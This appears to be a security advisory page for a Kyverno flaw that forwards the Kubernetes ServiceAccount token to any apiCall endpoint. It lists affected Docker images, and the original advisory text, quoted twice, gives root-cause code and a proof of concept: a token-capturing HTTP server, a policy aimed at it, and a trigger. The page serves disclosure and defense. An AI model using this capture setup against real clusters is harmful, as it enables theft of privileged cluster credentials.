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7.7
Kyverno forwards service account token to any HTTP request
published 7 days ago
Summary
Kyverno versions in the listed Docker images automatically attach the Kubernetes service account token to every outbound web request unless a specific authorization header is set. This can unintentionally expose internal credentials to outside or malicious servers. To reduce risk, stop using the apiCall feature or configure policies to explicitly set the Authorization header, and update to a version where this default behavior is removed or can be disabled.
What to do
The CVE record does not list a fixed version. Check the vendor's site or the advisory links below - a fix may already be released.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-background-controller | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cleanup-controller | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-cli | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-init | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-1.16-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-1.16-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-1.16-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-1.16 | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-fips-dev | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller-fips | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno-reports-controller | All versions |
| Docker Hardened Images:Alpine:3.23 | docker hardened images | kyverno | All versions |
| Docker Hardened Images:Alpine:3.24 | docker hardened images | reports-server-dev | All versions |
| Docker Hardened Images:Alpine:3.24 | docker hardened images | reports-server-fips-dev | All versions |
Showing 50 of 52. Show the rest
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Docker Hardened Images:Alpine:3.24 | docker hardened images | reports-server-fips | All versions |
| Docker Hardened Images:Alpine:3.24 | docker hardened images | reports-server | All versions |
Original advisory text
### Summary
### Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
---
### Details
Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:
`/var/run/secrets/kubernetes.io/serviceaccount/token`
and injects it into every HTTP request as:
```
Authorization: Bearer <token>
```
This occurs when no explicit `Authorization` header is defined in the policy.
#### Root cause
```go
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
```
This logic introduces several issues:
- **Implicit credential forwarding** to arbitrary endpoints
- **No trust boundary validation** (external/internal distinction)
- **Undocumented behavior**
- **Header.Add instead of Set** allows duplication
- **No token sanitization** (potential trailing newline)
---
### PoC
#### Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using `apiCall.service.url`
---
#### Step 1 — Deploy capture server
```bash
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
```
---
#### Step 2 — Create policy
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
```
---
#### Step 3 — Trigger
```bash
kubectl run test --image=nginx
```
---
#### Step 4 — Observe token
```bash
kubectl logs capture
```
Output:
```
Authorization: Bearer <SA_TOKEN>
```
---
### Impact
#### Vulnerability class
- Credential exposure / leakage
#### Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
---
### Details
Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:
`/var/run/secrets/kubernetes.io/serviceaccount/token`
and injects it into every HTTP request as:
```
Authorization: Bearer <token>
```
This occurs when no explicit `Authorization` header is defined in the policy.
#### Root cause
```go
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
```
This logic introduces several issues:
- **Implicit credential forwarding** to arbitrary endpoints
- **No trust boundary validation** (external/internal distinction)
- **Undocumented behavior**
- **Header.Add instead of Set** allows duplication
- **No token sanitization** (potential trailing newline)
---
### PoC
#### Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using `apiCall.service.url`
---
#### Step 1 — Deploy capture server
```bash
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
```
---
#### Step 2 — Create policy
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
```
---
#### Step 3 — Trigger
```bash
kubectl run test --image=nginx
```
---
#### Step 4 — Observe token
```bash
kubectl logs capture
```
Output:
```
Authorization: Bearer <SA_TOKEN>
```
---
### Impact
#### Vulnerability class
- Credential exposure / leakage
#### Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
References
- https://scout.docker.com/v/DHI-jzjb-jhtq-leaq-gcqr Vendor Advisory
- https://github.com/advisories/GHSA-8wfp-579w-6r25 Vendor Advisory
- https://github.com/kyverno/kyverno/security/advisories/GHSA-8wfp-579w-6r25 Vendor Advisory
- https://pkg.go.dev/vuln/GO-2026-5268 Vendor Advisory
Internet-facing
60 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker partial control (estimated)
Timeline
Published11 Nov 2026
Updated16 Nov 2026
First seen16 Nov 2026
Sources
DHI-jzjb-jhtq-leaq-gcqr · OSV
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